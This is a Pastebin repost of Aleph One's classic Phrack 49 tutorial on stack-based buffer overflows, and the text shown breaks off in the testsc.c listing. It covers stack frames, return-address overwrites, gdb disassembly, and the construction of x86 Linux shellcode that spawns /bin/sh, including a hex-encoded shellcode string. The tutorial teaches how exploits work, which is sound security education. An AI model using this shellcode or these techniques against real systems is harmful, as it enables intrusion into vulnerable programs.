Advertisement
Peaser

smashing the stack for fun and profit

Jul 31st, 2014
308
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 75.08 KB | None | 0 0
  1. .oO Phrack 49 Oo.
  2.  
  3. Volume Seven, Issue Forty-Nine
  4.  
  5. File 14 of 16
  6.  
  7. BugTraq, r00t, and Underground.Org
  8. bring you
  9.  
  10. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  11. Smashing The Stack For Fun And Profit
  12. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  13.  
  14. by Aleph One
  15. aleph1@underground.org
  16.  
  17. `smash the stack` [C programming] n. On many C implementations
  18. it is possible to corrupt the execution stack by writing past
  19. the end of an array declared auto in a routine. Code that does
  20. this is said to smash the stack, and can cause return from the
  21. routine to jump to a random address. This can produce some of
  22. the most insidious data-dependent bugs known to mankind.
  23. Variants include trash the stack, scribble the stack, mangle
  24. the stack; the term mung the stack is not used, as this is
  25. never done intentionally. See spam; see also alias bug,
  26. fandango on core, memory leak, precedence lossage, overrun screw.
  27.  
  28.  
  29. Introduction
  30. ~~~~~~~~~~~~
  31.  
  32. Over the last few months there has been a large increase of buffer
  33. overflow vulnerabilities being both discovered and exploited. Examples
  34. of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
  35. library, at, etc. This paper attempts to explain what buffer overflows
  36. are, and how their exploits work.
  37.  
  38. Basic knowledge of assembly is required. An understanding of virtual
  39. memory concepts, and experience with gdb are very helpful but not necessary.
  40. We also assume we are working with an Intel x86 CPU, and that the operating
  41. system is Linux.
  42.  
  43. Some basic definitions before we begin: A buffer is simply a contiguous
  44. block of computer memory that holds multiple instances of the same data
  45. type. C programmers normally associate with the word buffer arrays. Most
  46. commonly, character arrays. Arrays, like all variables in C, can be
  47. declared either static or dynamic. Static variables are allocated at load
  48. time on the data segment. Dynamic variables are allocated at run time on
  49. the stack. To overflow is to flow, or fill over the top, brims, or bounds.
  50. We will concern ourselves only with the overflow of dynamic buffers, otherwise
  51. known as stack-based buffer overflows.
  52.  
  53.  
  54. Process Memory Organization
  55. ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  56.  
  57. To understand what stack buffers are we must first understand how a
  58. process is organized in memory. Processes are divided into three regions:
  59. Text, Data, and Stack. We will concentrate on the stack region, but first
  60. a small overview of the other regions is in order.
  61.  
  62. The text region is fixed by the program and includes code (instructions)
  63. and read-only data. This region corresponds to the text section of the
  64. executable file. This region is normally marked read-only and any attempt to
  65. write to it will result in a segmentation violation.
  66.  
  67. The data region contains initialized and uninitialized data. Static
  68. variables are stored in this region. The data region corresponds to the
  69. data-bss sections of the executable file. Its size can be changed with the
  70. brk(2) system call. If the expansion of the bss data or the user stack
  71. exhausts available memory, the process is blocked and is rescheduled to
  72. run again with a larger memory space. New memory is added between the data
  73. and stack segments.
  74.  
  75. /------------------\ lower
  76. | | memory
  77. | Text | addresses
  78. | |
  79. |------------------|
  80. | (Initialized) |
  81. | Data |
  82. | (Uninitialized) |
  83. |------------------|
  84. | |
  85. | Stack | higher
  86. | | memory
  87. \------------------/ addresses
  88.  
  89. Fig. 1 Process Memory Regions
  90.  
  91.  
  92. What Is A Stack?
  93. ~~~~~~~~~~~~~~~~
  94.  
  95. A stack is an abstract data type frequently used in computer science. A
  96. stack of objects has the property that the last object placed on the stack
  97. will be the first object removed. This property is commonly referred to as
  98. last in, first out queue, or a LIFO.
  99.  
  100. Several operations are defined on stacks. Two of the most important are
  101. PUSH and POP. PUSH adds an element at the top of the stack. POP, in
  102. contrast, reduces the stack size by one by removing the last element at the
  103. top of the stack.
  104.  
  105.  
  106. Why Do We Use A Stack?
  107. ~~~~~~~~~~~~~~~~~~~~~~
  108.  
  109. Modern computers are designed with the need of high-level languages in
  110. mind. The most important technique for structuring programs introduced by
  111. high-level languages is the procedure or function. From one point of view, a
  112. procedure call alters the flow of control just as a jump does, but unlike a
  113. jump, when finished performing its task, a function returns control to the
  114. statement or instruction following the call. This high-level abstraction
  115. is implemented with the help of the stack.
  116.  
  117. The stack is also used to dynamically allocate the local variables used in
  118. functions, to pass parameters to the functions, and to return values from the
  119. function.
  120.  
  121.  
  122. The Stack Region
  123. ~~~~~~~~~~~~~~~~
  124.  
  125. A stack is a contiguous block of memory containing data. A register called
  126. the stack pointer (SP) points to the top of the stack. The bottom of the
  127. stack is at a fixed address. Its size is dynamically adjusted by the kernel
  128. at run time. The CPU implements instructions to PUSH onto and POP off of the
  129. stack.
  130.  
  131. The stack consists of logical stack frames that are pushed when calling a
  132. function and popped when returning. A stack frame contains the parameters to
  133. a function, its local variables, and the data necessary to recover the
  134. previous stack frame, including the value of the instruction pointer at the
  135. time of the function call.
  136.  
  137. Depending on the implementation the stack will either grow down (towards
  138. lower memory addresses), or up. In our examples we'll use a stack that grows
  139. down. This is the way the stack grows on many computers including the Intel,
  140. Motorola, SPARC and MIPS processors. The stack pointer (SP) is also
  141. implementation dependent. It may point to the last address on the stack, or
  142. to the next free available address after the stack. For our discussion we'll
  143. assume it points to the last address on the stack.
  144.  
  145. In addition to the stack pointer, which points to the top of the stack
  146. (lowest numerical address), it is often convenient to have a frame pointer
  147. (FP) which points to a fixed location within a frame. Some texts also refer
  148. to it as a local base pointer (LB). In principle, local variables could be
  149. referenced by giving their offsets from SP. However, as words are pushed onto
  150. the stack and popped from the stack, these offsets change. Although in some
  151. cases the compiler can keep track of the number of words on the stack and
  152. thus correct the offsets, in some cases it cannot, and in all cases
  153. considerable administration is required. Futhermore, on some machines, such
  154. as Intel-based processors, accessing a variable at a known distance from SP
  155. requires multiple instructions.
  156.  
  157. Consequently, many compilers use a second register, FP, for referencing
  158. both local variables and parameters because their distances from FP do
  159. not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this
  160. purpose. On the Motorola CPUs, any address register except A7 (the stack
  161. pointer) will do. Because the way our stack grows, actual parameters have
  162. positive offsets and local variables have negative offsets from FP.
  163.  
  164. The first thing a procedure must do when called is save the previous FP
  165. (so it can be restored at procedure exit). Then it copies SP into FP to
  166. create the new FP, and advances SP to reserve space for the local variables.
  167. This code is called the procedure prolog. Upon procedure exit, the stack
  168. must be cleaned up again, something called the procedure epilog. The Intel
  169. ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions,
  170. have been provided to do most of the procedure prolog and epilog work
  171. efficiently.
  172.  
  173. Let us see what the stack looks like in a simple example:
  174.  
  175. example1.c:
  176. ------------------------------------------------------------------------------
  177. void function(int a, int b, int c) {
  178. char buffer1[5];
  179. char buffer2[10];
  180. }
  181.  
  182. void main() {
  183. function(1,2,3);
  184. }
  185. ------------------------------------------------------------------------------
  186.  
  187. To understand what the program does to call function() we compile it with
  188. gcc using the -S switch to generate assembly code output:
  189.  
  190. $ gcc -S -o example1.s example1.c
  191.  
  192. By looking at the assembly language output we see that the call to
  193. function() is translated to:
  194.  
  195. pushl $3
  196. pushl $2
  197. pushl $1
  198. call function
  199.  
  200. This pushes the 3 arguments to function backwards into the stack, and
  201. calls function(). The instruction 'call' will push the instruction pointer
  202. (IP) onto the stack. We'll call the saved IP the return address (RET). The
  203. first thing done in function is the procedure prolog:
  204.  
  205. pushl %ebp
  206. movl %esp,%ebp
  207. subl $20,%esp
  208.  
  209. This pushes EBP, the frame pointer, onto the stack. It then copies the
  210. current SP onto EBP, making it the new FP pointer. We'll call the saved FP
  211. pointer SFP. It then allocates space for the local variables by subtracting
  212. their size from SP.
  213.  
  214. We must remember that memory can only be addressed in multiples of the
  215. word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer
  216. is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
  217. is going to take 12 bytes (3 words) of memory. That is why SP is being
  218. subtracted by 20. With that in mind our stack looks like this when
  219. function() is called (each space represents a byte):
  220.  
  221.  
  222. bottom of top of
  223. memory memory
  224. buffer2 buffer1 sfp ret a b c
  225. <------ [ ][ ][ ][ ][ ][ ][ ]
  226.  
  227. top of bottom of
  228. stack stack
  229.  
  230.  
  231. Buffer Overflows
  232. ~~~~~~~~~~~~~~~~
  233.  
  234. A buffer overflow is the result of stuffing more data into a buffer than
  235. it can handle. How can this often found programming error can be taken
  236. advantage to execute arbitrary code? Lets look at another example:
  237.  
  238. example2.c
  239. ------------------------------------------------------------------------------
  240. void function(char *str) {
  241. char buffer[16];
  242.  
  243. strcpy(buffer,str);
  244. }
  245.  
  246. void main() {
  247. char large_string[256];
  248. int i;
  249.  
  250. for( i = 0; i < 255; i++)
  251. large_string[i] = 'A';
  252.  
  253. function(large_string);
  254. }
  255. ------------------------------------------------------------------------------
  256.  
  257. This is program has a function with a typical buffer overflow coding
  258. error. The function copies a supplied string without bounds checking by
  259. using strcpy() instead of strncpy(). If you run this program you will get a
  260. segmentation violation. Lets see what its stack looks when we call function:
  261.  
  262.  
  263. bottom of top of
  264. memory memory
  265. buffer sfp ret *str
  266. <------ [ ][ ][ ][ ]
  267.  
  268. top of bottom of
  269. stack stack
  270.  
  271.  
  272. What is going on here? Why do we get a segmentation violation? Simple.
  273. strcpy() is coping the contents of *str (larger_string[]) into buffer[]
  274. until a null character is found on the string. As we can see buffer[] is
  275. much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff
  276. it with 256 bytes. This means that all 250 bytes after buffer in the stack
  277. are being overwritten. This includes the SFP, RET, and even *str! We had
  278. filled large_string with the character 'A'. It's hex character value
  279. is 0x41. That means that the return address is now 0x41414141. This is
  280. outside of the process address space. That is why when the function returns
  281. and tries to read the next instruction from that address you get a
  282. segmentation violation.
  283.  
  284. So a buffer overflow allows us to change the return address of a function.
  285. In this way we can change the flow of execution of the program. Lets go back
  286. to our first example and recall what the stack looked like:
  287.  
  288.  
  289. bottom of top of
  290. memory memory
  291. buffer2 buffer1 sfp ret a b c
  292. <------ [ ][ ][ ][ ][ ][ ][ ]
  293.  
  294. top of bottom of
  295. stack stack
  296.  
  297.  
  298. Lets try to modify our first example so that it overwrites the return
  299. address, and demonstrate how we can make it execute arbitrary code. Just
  300. before buffer1[] on the stack is SFP, and before it, the return address.
  301. That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is
  302. really 2 word so its 8 bytes long. So the return address is 12 bytes from
  303. the start of buffer1[]. We'll modify the return value in such a way that the
  304. assignment statement 'x = 1;' after the function call will be jumped. To do
  305. so we add 8 bytes to the return address. Our code is now:
  306.  
  307. example3.c:
  308. ------------------------------------------------------------------------------
  309. void function(int a, int b, int c) {
  310. char buffer1[5];
  311. char buffer2[10];
  312. int *ret;
  313.  
  314. ret = buffer1 + 12;
  315. (*ret) += 8;
  316. }
  317.  
  318. void main() {
  319. int x;
  320.  
  321. x = 0;
  322. function(1,2,3);
  323. x = 1;
  324. printf("%d\n",x);
  325. }
  326. ------------------------------------------------------------------------------
  327.  
  328. What we have done is add 12 to buffer1[]'s address. This new address is
  329. where the return address is stored. We want to skip pass the assignment to
  330. the printf call. How did we know to add 8 to the return address? We used a
  331. test value first (for example 1), compiled the program, and then started gdb:
  332.  
  333. ------------------------------------------------------------------------------
  334. [aleph1]$ gdb example3
  335. GDB is free software and you are welcome to distribute copies of it
  336. under certain conditions; type "show copying" to see the conditions.
  337. There is absolutely no warranty for GDB; type "show warranty" for details.
  338. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  339. (no debugging symbols found)...
  340. (gdb) disassemble main
  341. Dump of assembler code for function main:
  342. 0x8000490 <main>: pushl %ebp
  343. 0x8000491 <main+1>: movl %esp,%ebp
  344. 0x8000493 <main+3>: subl $0x4,%esp
  345. 0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
  346. 0x800049d <main+13>: pushl $0x3
  347. 0x800049f <main+15>: pushl $0x2
  348. 0x80004a1 <main+17>: pushl $0x1
  349. 0x80004a3 <main+19>: call 0x8000470 <function>
  350. 0x80004a8 <main+24>: addl $0xc,%esp
  351. 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
  352. 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
  353. 0x80004b5 <main+37>: pushl %eax
  354. 0x80004b6 <main+38>: pushl $0x80004f8
  355. 0x80004bb <main+43>: call 0x8000378 <printf>
  356. 0x80004c0 <main+48>: addl $0x8,%esp
  357. 0x80004c3 <main+51>: movl %ebp,%esp
  358. 0x80004c5 <main+53>: popl %ebp
  359. 0x80004c6 <main+54>: ret
  360. 0x80004c7 <main+55>: nop
  361. ------------------------------------------------------------------------------
  362.  
  363. We can see that when calling function() the RET will be 0x8004a8, and we
  364. want to jump past the assignment at 0x80004ab. The next instruction we want
  365. to execute is the at 0x8004b2. A little math tells us the distance is 8
  366. bytes.
  367.  
  368.  
  369. Shell Code
  370. ~~~~~~~~~~
  371.  
  372. So now that we know that we can modify the return address and the flow of
  373. execution, what program do we want to execute? In most cases we'll simply
  374. want the program to spawn a shell. From the shell we can then issue other
  375. commands as we wish. But what if there is no such code in the program we
  376. are trying to exploit? How can we place arbitrary instruction into its
  377. address space? The answer is to place the code with are trying to execute in
  378. the buffer we are overflowing, and overwrite the return address so it points
  379. back into the buffer. Assuming the stack starts at address 0xFF, and that S
  380. stands for the code we want to execute the stack would then look like this:
  381.  
  382.  
  383. bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
  384. memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
  385. buffer sfp ret a b c
  386.  
  387. <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
  388. ^ |
  389. |____________________________|
  390. top of bottom of
  391. stack stack
  392.  
  393.  
  394. The code to spawn a shell in C looks like:
  395.  
  396. shellcode.c
  397. -----------------------------------------------------------------------------
  398. #include <stdio.h>
  399.  
  400. void main() {
  401. char *name[2];
  402.  
  403. name[0] = "/bin/sh";
  404. name[1] = NULL;
  405. execve(name[0], name, NULL);
  406. }
  407. ------------------------------------------------------------------------------
  408.  
  409. To find out what does it looks like in assembly we compile it, and start
  410. up gdb. Remember to use the -static flag. Otherwise the actual code the
  411. for the execve system call will not be included. Instead there will be a
  412. reference to dynamic C library that would normally would be linked in at
  413. load time.
  414.  
  415. ------------------------------------------------------------------------------
  416. [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
  417. [aleph1]$ gdb shellcode
  418. GDB is free software and you are welcome to distribute copies of it
  419. under certain conditions; type "show copying" to see the conditions.
  420. There is absolutely no warranty for GDB; type "show warranty" for details.
  421. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  422. (gdb) disassemble main
  423. Dump of assembler code for function main:
  424. 0x8000130 <main>: pushl %ebp
  425. 0x8000131 <main+1>: movl %esp,%ebp
  426. 0x8000133 <main+3>: subl $0x8,%esp
  427. 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
  428. 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
  429. 0x8000144 <main+20>: pushl $0x0
  430. 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
  431. 0x8000149 <main+25>: pushl %eax
  432. 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
  433. 0x800014d <main+29>: pushl %eax
  434. 0x800014e <main+30>: call 0x80002bc <__execve>
  435. 0x8000153 <main+35>: addl $0xc,%esp
  436. 0x8000156 <main+38>: movl %ebp,%esp
  437. 0x8000158 <main+40>: popl %ebp
  438. 0x8000159 <main+41>: ret
  439. End of assembler dump.
  440. (gdb) disassemble __execve
  441. Dump of assembler code for function __execve:
  442. 0x80002bc <__execve>: pushl %ebp
  443. 0x80002bd <__execve+1>: movl %esp,%ebp
  444. 0x80002bf <__execve+3>: pushl %ebx
  445. 0x80002c0 <__execve+4>: movl $0xb,%eax
  446. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
  447. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
  448. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
  449. 0x80002ce <__execve+18>: int $0x80
  450. 0x80002d0 <__execve+20>: movl %eax,%edx
  451. 0x80002d2 <__execve+22>: testl %edx,%edx
  452. 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
  453. 0x80002d6 <__execve+26>: negl %edx
  454. 0x80002d8 <__execve+28>: pushl %edx
  455. 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
  456. 0x80002de <__execve+34>: popl %edx
  457. 0x80002df <__execve+35>: movl %edx,(%eax)
  458. 0x80002e1 <__execve+37>: movl $0xffffffff,%eax
  459. 0x80002e6 <__execve+42>: popl %ebx
  460. 0x80002e7 <__execve+43>: movl %ebp,%esp
  461. 0x80002e9 <__execve+45>: popl %ebp
  462. 0x80002ea <__execve+46>: ret
  463. 0x80002eb <__execve+47>: nop
  464. End of assembler dump.
  465. ------------------------------------------------------------------------------
  466.  
  467. Lets try to understand what is going on here. We'll start by studying main:
  468.  
  469. ------------------------------------------------------------------------------
  470. 0x8000130 <main>: pushl %ebp
  471. 0x8000131 <main+1>: movl %esp,%ebp
  472. 0x8000133 <main+3>: subl $0x8,%esp
  473.  
  474. This is the procedure prelude. It first saves the old frame pointer,
  475. makes the current stack pointer the new frame pointer, and leaves
  476. space for the local variables. In this case its:
  477.  
  478. char *name[2];
  479.  
  480. or 2 pointers to a char. Pointers are a word long, so it leaves
  481. space for two words (8 bytes).
  482.  
  483. 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
  484.  
  485. We copy the value 0x80027b8 (the address of the string "/bin/sh")
  486. into the first pointer of name[]. This is equivalent to:
  487.  
  488. name[0] = "/bin/sh";
  489.  
  490. 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
  491.  
  492. We copy the value 0x0 (NULL) into the seconds pointer of name[].
  493. This is equivalent to:
  494.  
  495. name[1] = NULL;
  496.  
  497. The actual call to execve() starts here.
  498.  
  499. 0x8000144 <main+20>: pushl $0x0
  500.  
  501. We push the arguments to execve() in reverse order onto the stack.
  502. We start with NULL.
  503.  
  504. 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
  505.  
  506. We load the address of name[] into the EAX register.
  507.  
  508. 0x8000149 <main+25>: pushl %eax
  509.  
  510. We push the address of name[] onto the stack.
  511.  
  512. 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
  513.  
  514. We load the address of the string "/bin/sh" into the EAX register.
  515.  
  516. 0x800014d <main+29>: pushl %eax
  517.  
  518. We push the address of the string "/bin/sh" onto the stack.
  519.  
  520. 0x800014e <main+30>: call 0x80002bc <__execve>
  521.  
  522. Call the library procedure execve(). The call instruction pushes the
  523. IP onto the stack.
  524. ------------------------------------------------------------------------------
  525.  
  526. Now execve(). Keep in mind we are using a Intel based Linux system. The
  527. syscall details will change from OS to OS, and from CPU to CPU. Some will
  528. pass the arguments on the stack, others on the registers. Some use a software
  529. interrupt to jump to kernel mode, others use a far call. Linux passes its
  530. arguments to the system call on the registers, and uses a software interrupt
  531. to jump into kernel mode.
  532.  
  533. ------------------------------------------------------------------------------
  534. 0x80002bc <__execve>: pushl %ebp
  535. 0x80002bd <__execve+1>: movl %esp,%ebp
  536. 0x80002bf <__execve+3>: pushl %ebx
  537.  
  538. The procedure prelude.
  539.  
  540. 0x80002c0 <__execve+4>: movl $0xb,%eax
  541.  
  542. Copy 0xb (11 decimal) onto the stack. This is the index into the
  543. syscall table. 11 is execve.
  544.  
  545. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
  546.  
  547. Copy the address of "/bin/sh" into EBX.
  548.  
  549. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
  550.  
  551. Copy the address of name[] into ECX.
  552.  
  553. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
  554.  
  555. Copy the address of the null pointer into %edx.
  556.  
  557. 0x80002ce <__execve+18>: int $0x80
  558.  
  559. Change into kernel mode.
  560. ------------------------------------------------------------------------------
  561.  
  562. So as we can see there is not much to the execve() system call. All we need
  563. to do is:
  564.  
  565. a) Have the null terminated string "/bin/sh" somewhere in memory.
  566. b) Have the address of the string "/bin/sh" somewhere in memory
  567. followed by a null long word.
  568. c) Copy 0xb into the EAX register.
  569. d) Copy the address of the address of the string "/bin/sh" into the
  570. EBX register.
  571. e) Copy the address of the string "/bin/sh" into the ECX register.
  572. f) Copy the address of the null long word into the EDX register.
  573. g) Execute the int $0x80 instruction.
  574.  
  575. But what if the execve() call fails for some reason? The program will
  576. continue fetching instructions from the stack, which may contain random data!
  577. The program will most likely core dump. We want the program to exit cleanly
  578. if the execve syscall fails. To accomplish this we must then add a exit
  579. syscall after the execve syscall. What does the exit syscall looks like?
  580.  
  581. exit.c
  582. ------------------------------------------------------------------------------
  583. #include <stdlib.h>
  584.  
  585. void main() {
  586. exit(0);
  587. }
  588. ------------------------------------------------------------------------------
  589.  
  590. ------------------------------------------------------------------------------
  591. [aleph1]$ gcc -o exit -static exit.c
  592. [aleph1]$ gdb exit
  593. GDB is free software and you are welcome to distribute copies of it
  594. under certain conditions; type "show copying" to see the conditions.
  595. There is absolutely no warranty for GDB; type "show warranty" for details.
  596. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  597. (no debugging symbols found)...
  598. (gdb) disassemble _exit
  599. Dump of assembler code for function _exit:
  600. 0x800034c <_exit>: pushl %ebp
  601. 0x800034d <_exit+1>: movl %esp,%ebp
  602. 0x800034f <_exit+3>: pushl %ebx
  603. 0x8000350 <_exit+4>: movl $0x1,%eax
  604. 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
  605. 0x8000358 <_exit+12>: int $0x80
  606. 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
  607. 0x800035d <_exit+17>: movl %ebp,%esp
  608. 0x800035f <_exit+19>: popl %ebp
  609. 0x8000360 <_exit+20>: ret
  610. 0x8000361 <_exit+21>: nop
  611. 0x8000362 <_exit+22>: nop
  612. 0x8000363 <_exit+23>: nop
  613. End of assembler dump.
  614. ------------------------------------------------------------------------------
  615.  
  616. The exit syscall will place 0x1 in EAX, place the exit code in EBX,
  617. and execute "int 0x80". That's it. Most applications return 0 on exit to
  618. indicate no errors. We will place 0 in EBX. Our list of steps is now:
  619.  
  620. a) Have the null terminated string "/bin/sh" somewhere in memory.
  621. b) Have the address of the string "/bin/sh" somewhere in memory
  622. followed by a null long word.
  623. c) Copy 0xb into the EAX register.
  624. d) Copy the address of the address of the string "/bin/sh" into the
  625. EBX register.
  626. e) Copy the address of the string "/bin/sh" into the ECX register.
  627. f) Copy the address of the null long word into the EDX register.
  628. g) Execute the int $0x80 instruction.
  629. h) Copy 0x1 into the EAX register.
  630. i) Copy 0x0 into the EBX register.
  631. j) Execute the int $0x80 instruction.
  632.  
  633. Trying to put this together in assembly language, placing the string
  634. after the code, and remembering we will place the address of the string,
  635. and null word after the array, we have:
  636.  
  637. ------------------------------------------------------------------------------
  638. movl string_addr,string_addr_addr
  639. movb $0x0,null_byte_addr
  640. movl $0x0,null_addr
  641. movl $0xb,%eax
  642. movl string_addr,%ebx
  643. leal string_addr,%ecx
  644. leal null_string,%edx
  645. int $0x80
  646. movl $0x1, %eax
  647. movl $0x0, %ebx
  648. int $0x80
  649. /bin/sh string goes here.
  650. ------------------------------------------------------------------------------
  651.  
  652. The problem is that we don't know where in the memory space of the
  653. program we are trying to exploit the code (and the string that follows
  654. it) will be placed. One way around it is to use a JMP, and a CALL
  655. instruction. The JMP and CALL instructions can use IP relative addressing,
  656. which means we can jump to an offset from the current IP without needing
  657. to know the exact address of where in memory we want to jump to. If we
  658. place a CALL instruction right before the "/bin/sh" string, and a JMP
  659. instruction to it, the strings address will be pushed onto the stack as
  660. the return address when CALL is executed. All we need then is to copy the
  661. return address into a register. The CALL instruction can simply call the
  662. start of our code above. Assuming now that J stands for the JMP instruction,
  663. C for the CALL instruction, and s for the string, the execution flow would
  664. now be:
  665.  
  666.  
  667. bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
  668. memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
  669. buffer sfp ret a b c
  670.  
  671. <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
  672. ^|^ ^| |
  673. |||_____________||____________| (1)
  674. (2) ||_____________||
  675. |______________| (3)
  676. top of bottom of
  677. stack stack
  678.  
  679.  
  680.  
  681. With this modifications, using indexed addressing, and writing down how
  682. many bytes each instruction takes our code looks like:
  683.  
  684. ------------------------------------------------------------------------------
  685. jmp offset-to-call # 2 bytes
  686. popl %esi # 1 byte
  687. movl %esi,array-offset(%esi) # 3 bytes
  688. movb $0x0,nullbyteoffset(%esi)# 4 bytes
  689. movl $0x0,null-offset(%esi) # 7 bytes
  690. movl $0xb,%eax # 5 bytes
  691. movl %esi,%ebx # 2 bytes
  692. leal array-offset,(%esi),%ecx # 3 bytes
  693. leal null-offset(%esi),%edx # 3 bytes
  694. int $0x80 # 2 bytes
  695. movl $0x1, %eax # 5 bytes
  696. movl $0x0, %ebx # 5 bytes
  697. int $0x80 # 2 bytes
  698. call offset-to-popl # 5 bytes
  699. /bin/sh string goes here.
  700. ------------------------------------------------------------------------------
  701.  
  702. Calculating the offsets from jmp to call, from call to popl, from
  703. the string address to the array, and from the string address to the null
  704. long word, we now have:
  705.  
  706. ------------------------------------------------------------------------------
  707. jmp 0x26 # 2 bytes
  708. popl %esi # 1 byte
  709. movl %esi,0x8(%esi) # 3 bytes
  710. movb $0x0,0x7(%esi) # 4 bytes
  711. movl $0x0,0xc(%esi) # 7 bytes
  712. movl $0xb,%eax # 5 bytes
  713. movl %esi,%ebx # 2 bytes
  714. leal 0x8(%esi),%ecx # 3 bytes
  715. leal 0xc(%esi),%edx # 3 bytes
  716. int $0x80 # 2 bytes
  717. movl $0x1, %eax # 5 bytes
  718. movl $0x0, %ebx # 5 bytes
  719. int $0x80 # 2 bytes
  720. call -0x2b # 5 bytes
  721. .string \"/bin/sh\" # 8 bytes
  722. ------------------------------------------------------------------------------
  723.  
  724. Looks good. To make sure it works correctly we must compile it and run it.
  725. But there is a problem. Our code modifies itself, but most operating system
  726. mark code pages read-only. To get around this restriction we must place the
  727. code we wish to execute in the stack or data segment, and transfer control
  728. to it. To do so we will place our code in a global array in the data
  729. segment. We need first a hex representation of the binary code. Lets
  730. compile it first, and then use gdb to obtain it.
  731.  
  732. shellcodeasm.c
  733. ------------------------------------------------------------------------------
  734. void main() {
  735. __asm__("
  736. jmp 0x2a # 3 bytes
  737. popl %esi # 1 byte
  738. movl %esi,0x8(%esi) # 3 bytes
  739. movb $0x0,0x7(%esi) # 4 bytes
  740. movl $0x0,0xc(%esi) # 7 bytes
  741. movl $0xb,%eax # 5 bytes
  742. movl %esi,%ebx # 2 bytes
  743. leal 0x8(%esi),%ecx # 3 bytes
  744. leal 0xc(%esi),%edx # 3 bytes
  745. int $0x80 # 2 bytes
  746. movl $0x1, %eax # 5 bytes
  747. movl $0x0, %ebx # 5 bytes
  748. int $0x80 # 2 bytes
  749. call -0x2f # 5 bytes
  750. .string \"/bin/sh\" # 8 bytes
  751. ");
  752. }
  753. ------------------------------------------------------------------------------
  754.  
  755. ------------------------------------------------------------------------------
  756. [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
  757. [aleph1]$ gdb shellcodeasm
  758. GDB is free software and you are welcome to distribute copies of it
  759. under certain conditions; type "show copying" to see the conditions.
  760. There is absolutely no warranty for GDB; type "show warranty" for details.
  761. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  762. (gdb) disassemble main
  763. Dump of assembler code for function main:
  764. 0x8000130 <main>: pushl %ebp
  765. 0x8000131 <main+1>: movl %esp,%ebp
  766. 0x8000133 <main+3>: jmp 0x800015f <main+47>
  767. 0x8000135 <main+5>: popl %esi
  768. 0x8000136 <main+6>: movl %esi,0x8(%esi)
  769. 0x8000139 <main+9>: movb $0x0,0x7(%esi)
  770. 0x800013d <main+13>: movl $0x0,0xc(%esi)
  771. 0x8000144 <main+20>: movl $0xb,%eax
  772. 0x8000149 <main+25>: movl %esi,%ebx
  773. 0x800014b <main+27>: leal 0x8(%esi),%ecx
  774. 0x800014e <main+30>: leal 0xc(%esi),%edx
  775. 0x8000151 <main+33>: int $0x80
  776. 0x8000153 <main+35>: movl $0x1,%eax
  777. 0x8000158 <main+40>: movl $0x0,%ebx
  778. 0x800015d <main+45>: int $0x80
  779. 0x800015f <main+47>: call 0x8000135 <main+5>
  780. 0x8000164 <main+52>: das
  781. 0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
  782. 0x8000168 <main+56>: das
  783. 0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
  784. 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
  785. End of assembler dump.
  786. (gdb) x/bx main+3
  787. 0x8000133 <main+3>: 0xeb
  788. (gdb)
  789. 0x8000134 <main+4>: 0x2a
  790. (gdb)
  791. .
  792. .
  793. .
  794. ------------------------------------------------------------------------------
  795.  
  796. testsc.c
  797. ------------------------------------------------------------------------------
  798. char shellcode[] =
  799. "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
  800. "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  801. "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
  802. "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
  803.  
  804. void main() {
  805. int *ret;
  806.  
